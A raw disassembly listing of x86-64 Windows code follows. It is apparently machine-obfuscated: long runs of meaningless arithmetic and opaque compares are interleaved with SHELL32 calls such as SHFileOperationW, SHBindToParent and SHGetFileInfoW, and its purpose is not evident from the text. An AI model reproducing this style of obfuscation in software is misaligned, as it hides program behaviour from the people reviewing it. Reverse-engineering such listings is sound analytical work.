sub eax, ecx
mov word [rsp + 0xaa0], ax
jmp 0x1400099d6
mov rax, qword [rsp + 0x6358]
mov ecx, dword [rax]
call fcn.1401427f0
nop
mov dword [rsp + 0x3688], 0x116d
mov rax, qword [0x1401c02c0]
mov rcx, qword [rsp + 0x61c8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6350]
mov rdx, qword [rsp + 0x61f8]
mov rdx, qword [rdx]
mov rcx, qword [rcx]
add rcx, rdx
cmp rax, rcx
je 0x140009ab0
movzx eax, word [rsp + 0xaa0]
mov rcx, qword [rsp + 0x6178]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6258]
movzx ecx, word [rcx]
mov rdx, qword [rsp + 0x6110]
movzx edx, word [rdx]
sub ecx, edx
cmp eax, ecx
jge 0x140009ab0
lea rcx, [rsp + 0x1d088]
call qword [sym.imp.SHELL32.dll_SHFileOperationW]
mov dword [rsp + 0x3518], eax
mov rax, qword [rsp + 0x61c0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6150]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x61c0]
mov byte [rcx], al
mov rax, qword [rsp + 0x61e0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x62e0]
mov qword [rsp + 0x6390], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6390]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x3524], eax
mov rax, qword [rsp + 0x61e8]
mov qword [rsp + 0x6398], rax
mov rax, qword [rsp + 0x60f8]
mov rax, qword [rax]
mov qword [rsp + 0x63a0], rax
cmp dword [rsp + 0x367c], 0xb78
jae 0x140009e62
mov eax, dword [rsp + 0x35e8]
mov ecx, dword [rsp + 0x3504]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6080]
mov dword [rcx], eax
mov rax, qword [rsp + 0x62b0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6118]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x60], al
movzx eax, word [rsp + 0xaac]
movzx ecx, word [rsp + 0xac4]
add eax, ecx
mov word [0x1401c02c8], ax
mov rax, qword [rsp + 0x61c0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6150]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x63], al
mov rax, qword [rsp + 0x6110]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xaa0]
sub eax, ecx
mov word [rsp + 0xabc], ax
movsx eax, word [rsp + 0xaa8]
mov rcx, qword [0x1401c16d8]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x6310]
mov word [rcx], ax
mov rax, qword [rsp + 0x60f8]
mov rcx, qword [rsp + 0x63a0]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x60f8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x35c4]
mov ecx, dword [rsp + 0x3508]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3504], eax
mov rax, qword [rsp + 0x62e0]
mov ecx, dword [rsp + 0x3524]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x350c], eax
mov eax, dword [rsp + 0x367c]
add eax, 0x52
mov dword [rsp + 0x367c], eax
mov rax, qword [rsp + 0x6350]
mov rcx, qword [rsp + 0x61e8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x6398], rax
movsx eax, byte [rsp + 0x67]
mov rcx, qword [rsp + 0x62b0]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x61d0]
mov byte [rcx], al
mov rax, qword [rsp + 0x6258]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6110]
movzx ecx, word [rcx]
or eax, ecx
mov word [0x1401c02c8], ax
movzx eax, byte [rsp + 0x66]
mov rcx, qword [rsp + 0x6170]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x68], al
movsx eax, word [rsp + 0xac8]
movsx ecx, word [rsp + 0xa9c]
xor eax, ecx
mov word [rsp + 0xac0], ax
mov rax, qword [rsp + 0x6098]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xab0]
and eax, ecx
mov rcx, qword [rsp + 0x6310]
mov word [rcx], ax
mov rax, qword [rsp + 0x6058]
mov rcx, qword [rsp + 0x63a0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6208]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6080]
mov ecx, dword [rsp + 0x3508]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x6268]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6380]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x350c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3518], eax
mov rax, qword [rsp + 0x61f8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6398]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x62e8]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x62]
movsx ecx, byte [rsp + 0x65]
sub eax, ecx
mov rcx, qword [rsp + 0x6118]
mov byte [rcx], al
mov rax, qword [0x1401c16d8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xac8]
and eax, ecx
mov rcx, qword [0x1401c16d8]
mov word [rcx], ax
mov rax, qword [rsp + 0x6168]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xab4]
add eax, ecx
mov word [rsp + 0xa9c], ax
mov rax, qword [rsp + 0x6258]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6178]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xac4], ax
mov rax, qword [rsp + 0x6168]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6098]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6310]
mov word [rcx], ax
mov rax, qword [rsp + 0x6348]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x351c]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x35e8], eax
mov rax, qword [rsp + 0x6250]
mov rcx, qword [rsp + 0x60f8]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x6078], rax
mov rax, qword [rsp + 0x61f8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x62e8]
mov qword [rsp + 0x63a8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x63a8]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x61c8], rax
mov eax, dword [rsp + 0x3518]
movzx ecx, al
mov eax, dword [rsp + 0x3524]
shl eax, cl
mov rcx, qword [rsp + 0x6358]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6170]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x61c0]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x6150]
mov byte [rcx], al
jmp 0x140009ad3
mov rax, qword [rsp + 0x6398]
mov qword [rsp + 0x63b0], rax
cmp qword [rsp + 0x63b0], 0
je 0x140009e82
jmp 0x140141814
mov rax, qword [rsp + 0x6380]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x6358]
mov qword [rsp + 0x63b8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x63b8]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x6358]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6250]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6180]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x6078], rax
mov rax, qword [rsp + 0x62e8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x61e8]
shl rax, cl
mov rcx, qword [rsp + 0x6350]
mov qword [rcx], rax
mov eax, dword [rsp + 0x351c]
mov ecx, dword [rsp + 0x35e8]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6080]
mov dword [rcx], eax
mov rax, qword [rsp + 0x61c0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6170]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x61], al
mov rax, qword [rsp + 0x6208]
mov rcx, qword [rsp + 0x63a0]
mov rax, qword [rax]
and rax, rcx
mov qword [0x1401c02d0], rax
mov rax, qword [rsp + 0x6310]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xab4]
add eax, ecx
mov rcx, qword [rsp + 0x6168]
mov word [rcx], ax
movzx eax, byte [rsp + 0x66]
mov rcx, qword [rsp + 0x6150]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x64], al
mov eax, dword [rsp + 0x35c8]
add eax, 0x91
mov dword [rsp + 0x35c8], eax
movzx eax, word [rsp + 0xaa0]
mov rcx, qword [rsp + 0x6178]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xaa4], ax
mov rax, qword [rsp + 0x61e0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3524]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3518], eax
mov rax, qword [rsp + 0x63a0]
mov rcx, qword [rsp + 0x6180]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x6058], rax
mov rax, qword [rsp + 0x62e8]
mov rcx, qword [rsp + 0x6398]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x62e8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6080]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3508]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6268]
mov dword [rcx], eax
movsx eax, word [rsp + 0xac0]
mov rcx, qword [0x1401c16d8]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xa9c], ax
movzx eax, byte [rsp + 0x61]
mov rcx, qword [rsp + 0x61c0]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [0x1401c16d2], al
movsx eax, word [rsp + 0xa9c]
mov rcx, qword [rsp + 0x6310]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xab0], ax
movzx eax, word [rsp + 0xac4]
mov rcx, qword [rsp + 0x6360]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xaa4], ax
movsx eax, byte [rsp + 0x60]
movsx ecx, byte [rsp + 0x67]
xor eax, ecx
mov rcx, qword [rsp + 0x61d0]
mov byte [rcx], al
mov rax, qword [rsp + 0x6080]
mov ecx, dword [rsp + 0x35c4]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3588], eax
mov rax, qword [rsp + 0x6350]
mov rcx, qword [rsp + 0x61c8]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x62e8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x60f8]
mov rcx, qword [rsp + 0x6250]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x6078], rax
mov eax, dword [rsp + 0x350c]
mov ecx, dword [rsp + 0x3524]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3518], eax
movsx eax, word [rsp + 0xaa8]
mov rcx, qword [rsp + 0x6098]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6168]
mov word [rcx], ax
movzx eax, word [rsp + 0xaac]
mov rcx, qword [rsp + 0x6178]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6258]
mov word [rcx], ax
mov rax, qword [rsp + 0x6098]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6310]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x1401c16d8]
mov word [rcx], ax
movsx eax, byte [rsp + 0x67]
mov rcx, qword [rsp + 0x6118]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x65], al
mov rax, qword [rsp + 0x6110]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xaac]
sub eax, ecx
mov word [rsp + 0xab8], ax
mov rax, qword [rsp + 0x6358]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3524]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6380]
mov dword [rcx], eax
mov rax, qword [rsp + 0x62e8]
mov rcx, qword [rsp + 0x6350]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x61c8], rax
mov rax, qword [rsp + 0x60f8]
mov rcx, qword [rsp + 0x6180]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x6208]
mov qword [rcx], rax
mov eax, dword [0x1401c02b8]
mov rcx, qword [rsp + 0x6348]
mov qword [rsp + 0x63c0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x63c0]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x3588], eax
movzx eax, byte [rsp + 0x64]
mov rcx, qword [rsp + 0x6170]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x61], al
movsx eax, word [rsp + 0xab4]
movsx ecx, word [0x1401c16d0]
or eax, ecx
mov rcx, qword [rsp + 0x6168]
mov word [rcx], ax
mov rax, qword [rsp + 0x6098]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xab0]
and eax, ecx
mov rcx, qword [0x1401c16d8]
mov word [rcx], ax
mov rax, qword [rsp + 0x6110]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xaa0]
sub eax, ecx
mov word [rsp + 0xabc], ax
mov rax, qword [rsp + 0x6310]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6168]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xaa8], ax
cmp dword [rsp + 0x35c8], 0xa5e0
jbe 0x140009e82
movsx eax, byte [rsp + 0x67]
movsx ecx, byte [rsp + 0x60]
and eax, ecx
mov rcx, qword [rsp + 0x62b0]
movsx ecx, byte [rcx]
movsx edx, byte [rsp + 0x65]
add ecx, edx
cmp eax, ecx
jne 0x14014179d
movzx eax, byte [rsp + 0x63]
mov byte [rsp + 0x368c], al
cmp byte [rsp + 0x368c], 0
je 0x14000a338
cmp byte [rsp + 0x368c], 0x48
je 0x1401416d5
jmp 0x1401416f7
movsx eax, byte [rsp + 0x67]
movsx ecx, byte [rsp + 0x65]
add eax, ecx
mov rcx, qword [rsp + 0x61d0]
movsx ecx, byte [rcx]
mov rdx, qword [rsp + 0x62b0]
movsx edx, byte [rdx]
sub ecx, edx
cmp eax, ecx
je 0x14000a3ac
mov rax, qword [rsp + 0x6388]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6170]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x66], al
mov rax, qword [rsp + 0x6168]
movzx r9d, word [rax]
mov rax, qword [rsp + 0x6250]
mov r8, qword [rax]
mov rdx, qword [rsp + 0x6078]
mov rax, qword [rsp + 0x6098]
movzx ecx, word [rax]
call fcn.1401429f0
nop
mov rax, qword [rsp + 0x6250]
mov rcx, qword [rsp + 0x6058]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x60f8]
mov rcx, qword [rcx]
mov rdx, qword [rsp + 0x6078]
and rdx, rcx
mov rcx, rdx
cmp rax, rcx
ja 0x14000a491
movsx eax, byte [rsp + 0x65]
mov rcx, qword [rsp + 0x6118]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x67], al
mov rax, qword [rsp + 0x6248]
mov eax, dword [rax]
mov dword [rsp + 0x3690], eax
mov rax, qword [rsp + 0x61c8]
mov rcx, qword [rsp + 0x6398]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x62e8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x3524]
mov dword [rsp + 0x3694], eax
mov dword [rsp + 0x3698], 0x74c4
mov rax, qword [rsp + 0x60f8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x6058]
shr rax, cl
mov qword [rsp + 0x6078], rax
mov rax, qword [rsp + 0x6170]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x63]
or eax, ecx
mov byte [rsp + 0x64], al
lea rax, [rsp + 0xab4]
mov qword [rsp + 0x63c8], rax
jmp 0x14000a546
lea rcx, [rsp + 0x66]
call qword [sym.imp.SHELL32.dll_SHGetInstanceExplorer]
mov dword [rsp + 0x369c], eax
movsx eax, word [rsp + 0xac8]
movsx ecx, word [rsp + 0xab4]
xor eax, ecx
mov rcx, qword [0x1401c16d8]
mov word [rcx], ax
mov rax, qword [rsp + 0x6118]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x61d0]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x62], al
mov r9d, 0x21
mov r8, qword [rsp + 0x6368]
mov edx, ILCreateFromPathW
mov rcx, qword [rsp + 0x63d0]
call qword [sym.imp.SHELL32.dll_DragQueryFileW]
mov dword [rsp + 0x351c], eax
movsx eax, byte [rsp + 0x65]
mov rcx, qword [rsp + 0x6118]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x60], al
lea r9, [rsp + 0x62a8]
lea r8, [rsp + 0x1d100]
lea rdx, [rsp + 0x1cfb8]
lea rcx, [rsp + 0x6320]
call qword [sym.imp.SHELL32.dll_SHBindToParent]
mov dword [rsp + 0x3630], eax
movzx eax, word [rsp + 0xaac]
movzx ecx, word [rsp + 0xac4]
add eax, ecx
mov word [rsp + 0xab8], ax
mov rax, qword [rsp + 0x6358]
mov eax, dword [rax]
mov dword [rsp + 0x36a0], eax
mov rax, qword [rsp + 0x60f8]
mov rax, qword [rax]
mov qword [rsp + 0x63d8], rax
cmp qword [rsp + 0x63d8], 0
je 0x14000a621
movabs rax, 0x75cdecfbbf66ad
cmp qword [rsp + 0x63d8], rax
je 0x14000a5ac
jmp 0x14000a6e9
mov rax, qword [rsp + 0x6350]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6398]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x61f8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x3660]
mov ecx, dword [rsp + 0x3588]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x351c], eax
lea rcx, [rsp + 0x36a4]
call qword [sym.imp.SHELL32.dll_ILGetSize]
mov dword [rsp + 0x36a8], eax
mov rax, qword [rsp + 0x6058]
mov rcx, qword [rsp + 0x6180]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x6078], rax
jmp 0x14000a6e9
mov rax, qword [rsp + 0x6310]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x63c8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6098]
mov word [rcx], ax
movzx eax, word [rsp + 0xaa4]
mov word [0x1401c16e8], ax
movsx eax, byte [rsp + 0x62]
movsx ecx, byte [rsp + 0x60]
and eax, ecx
mov rcx, qword [rsp + 0x61d0]
mov byte [rcx], al
mov rax, qword [rsp + 0x61c0]
movzx eax, byte [rax]
mov byte [rsp + 0x69], al
movzx eax, word [rsp + 0xab8]
mov rcx, qword [rsp + 0x6360]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xaa4], ax
lea rax, [rsp + 0xac8]
mov qword [rsp + 0x63e0], rax
mov rax, qword [rsp + 0x6250]
mov rcx, qword [0x1401c02d0]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x6058], rax
mov rax, qword [rsp + 0x62e0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x36a0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3518], eax
mov dword [rsp + 0x36ac], 0xf0ad
cmp dword [rsp + 0x36ac], 0xd36b
jb 0x14000ac13
mov rax, qword [rsp + 0x61e8]
mov rcx, qword [rsp + 0x61c8]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x6398], rax
mov rax, qword [rsp + 0x6268]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x6080]
mov qword [rsp + 0x63e8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x63e8]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x6348]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6098]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x63c8]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [0x1401c16d8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x69]
mov rcx, qword [rsp + 0x6150]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x63], al
mov rax, qword [rsp + 0x6098]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xab4]
and eax, ecx
mov rcx, qword [rsp + 0x63e0]
mov word [rcx], ax
movzx eax, word [rsp + 0xabc]
mov rcx, qword [rsp + 0x6360]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xaa0], ax
mov rax, qword [rsp + 0x61d0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x62b0]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6118]
mov byte [rcx], al
mov rax, qword [rsp + 0x61e8]
mov rcx, qword [rsp + 0x61c8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x61f8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x36a8]
mov ecx, dword [rsp + 0x35c4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x351c], eax
mov eax, dword [rsp + 0x36a0]
mov ecx, dword [rsp + 0x3518]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x62e0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6208]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x63a0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6250]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6168]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xab4]
and eax, ecx
mov rcx, qword [0x1401c16d8]
mov word [rcx], ax
mov rax, qword [rsp + 0x6098]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xac8]
add eax, ecx
mov word [rsp + 0xac0], ax
mov rax, qword [rsp + 0x6118]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x67]
sar eax, cl
mov byte [rsp + 0x65], al
mov rax, qword [rsp + 0x6178]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6360]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0xab8], ax
movzx eax, byte [rsp + 0x61]
mov rcx, qword [rsp + 0x61c0]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x69], al
mov rax, qword [rsp + 0x6058]
mov rcx, qword [rsp + 0x60f8]
mov qword [rsp + 0x63f0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x63f0]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x6208]
mov qword [rcx], rax
mov eax, dword [0x1401c02cc]
mov ecx, dword [rsp + 0x3588]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6348]
mov dword [rcx], eax
mov rax, qword [rsp + 0x62e8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6398]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x61f8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x3518]
mov ecx, dword [rsp + 0x3524]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x36a0], eax
mov rax, qword [rsp + 0x6058]
mov rcx, qword [rsp + 0x6078]
sub rcx, rax
mov rax, rcx
mov qword [0x1401c02d0], rax
movsx eax, word [rsp + 0xac8]
mov rcx, qword [rsp + 0x6098]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xac0], ax
movzx eax, word [rsp + 0xaa4]
mov rcx, qword [rsp + 0x6360]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xab8], ax
movzx eax, byte [rsp + 0x61]
movzx ecx, byte [rsp + 0x68]
sub eax, ecx
mov byte [rsp + 0x64], al
mov eax, dword [rsp + 0x36ac]
sub eax, 0x6b
mov dword [rsp + 0x36ac], eax
mov rax, qword [rsp + 0x6098]
movsx eax, word [rax]
movsx ecx, word [0x1401c16d0]
sub eax, ecx
mov rcx, qword [rsp + 0x63e0]
mov word [rcx], ax
mov rax, qword [rsp + 0x62e8]
mov rcx, qword [rsp + 0x6350]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x61c8], rax
mov eax, dword [rsp + 0x3694]
mov ecx, dword [rsp + 0x350c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x3518], eax
mov eax, dword [rsp + 0x3660]
movzx ecx, al
mov eax, dword [0x1401c02b8]
shr eax, cl
mov dword [rsp + 0x3508], eax
mov rax, qword [rsp + 0x6208]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x63a0]
shl rax, cl
mov rcx, qword [rsp + 0x60f8]
mov qword [rcx], rax
movzx eax, word [rsp + 0xaa4]
mov rcx, qword [rsp + 0x6258]
movzx ecx, word [rcx]
or eax, ecx
mov word [0x1401c02c8], ax
movsx eax, byte [rsp + 0x62]
movsx ecx, byte [rsp + 0x60]
xor eax, ecx
mov byte [rsp + 0x65], al
mov rax, qword [rsp + 0x6168]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xab4]
sub eax, ecx
mov rcx, qword [rsp + 0x63e0]
mov word [rcx], ax
mov rax, qword [rsp + 0x62b0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x65]
add eax, ecx
mov byte [rsp + 0x67], al
movzx eax, byte [rsp + 0x63]
movzx ecx, byte [rsp + 0x66]
and eax, ecx
mov byte [rsp + 0x68], al
mov rax, qword [rsp + 0x62e8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x61c8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x6398], rax
mov rax, qword [rsp + 0x6208]
mov rcx, qword [rsp + 0x6180]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x6058], rax
mov rax, qword [rsp + 0x6248]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x351c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6080]
mov dword [rcx], eax
mov rax, qword [rsp + 0x62e0]
mov ecx, dword [rsp + 0x3518]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x350c], eax
mov rax, qword [rsp + 0x62e8]
mov rcx, qword [rsp + 0x61c8]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [0x1401c16e0]
mov qword [rcx], rax
movzx eax, word [rsp + 0xac4]
mov rcx, qword [rsp + 0x6360]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xab8], ax
movsx eax, byte [rsp + 0x67]
mov rcx, qword [rsp + 0x6118]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x61d0]
mov byte [rcx], al
movzx eax, byte [rsp + 0x66]
mov rcx, qword [rsp + 0x6150]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x64], al
movsx eax, word [rsp + 0xab0]
mov rcx, qword [rsp + 0x63e0]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xa9c], ax
mov rax, qword [rsp + 0x6380]
mov ecx, dword [rsp + 0x3694]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x350c], eax
jmp 0x14000a6e9
mov rax, qword [rsp + 0x62e8]
mov rcx, qword [rsp + 0x6350]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x61e8]
mov rdx, qword [rsp + 0x6398]
sar rdx, cl
mov rcx, rdx
cmp rax, rcx
jle 0x14000ad06
mov rax, qword [0x1401c16e0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x61e8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x61f8]
mov qword [rcx], rax
mov dword [rsp + 0x20], 0x58
mov r9d, 0x34
lea r8, [rsp + 0x1d980]
mov edx, 0x8c
mov rcx, qword [rsp + 0x6368]
call qword [sym.imp.SHELL32.dll_SHGetFileInfoW]
mov dword [rsp + 0x3690], eax
mov rax, qword [rsp + 0x6208]
mov rcx, qword [rsp + 0x6250]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x6078], rax
mov eax, dword [rsp + 0x36a8]
mov ecx, dword [rsp + 0x3508]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6268]
mov dword [rcx], eax
movzx r9d, word [rsp + 0xac0]
mov r8, qword [rsp + 0x6078]
mov rax, qword [rsp + 0x6250]
mov rdx, qword [rax]
movzx ecx, word [0x1401c16d0]
call fcn.1401429f0
nop
jmp 0x14000ad5f
movzx eax, byte [0x1401c16d2]
movzx ecx, byte [rsp + 0x64]
and eax, ecx
mov rcx, qword [rsp + 0x6170]
movzx ecx, byte [rcx]
movzx edx, byte [rsp + 0x68]
add ecx, edx
cmp eax, ecx
jne 0x14000ad5f
movsx eax, byte [rsp + 0x62]
movsx ecx, byte [rsp + 0x65]
sub eax, ecx
mov byte [0x1401c02b6], al
mov rax, qword [rsp + 0x6360]
movzx eax, word [rax]
mov word [rsp + 0xacc], ax
movzx eax, byte [rsp + 0x61]
movzx ecx, byte [rsp + 0x63]
sub eax, ecx
mov byte [rsp + 0x64], al
movsx eax, word [rsp + 0xaa8]
mov rcx, qword [rsp + 0x63c8]
movsx ecx, word [rcx]
sub eax, ecx
movsx ecx, word [rsp + 0xac8]
mov rdx, qword [rsp + 0x63e0]
movsx edx, word [rdx]
add ecx, edx
cmp eax, ecx
jne 0x14000ae2e
lea rax, [rsp + 0x63]
mov qword [rsp + 0x63f8], rax
mov rax, qword [0x1401c16d8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xac8]
shl eax, cl
mov rcx, qword [rsp + 0x6168]
mov word [rcx], ax
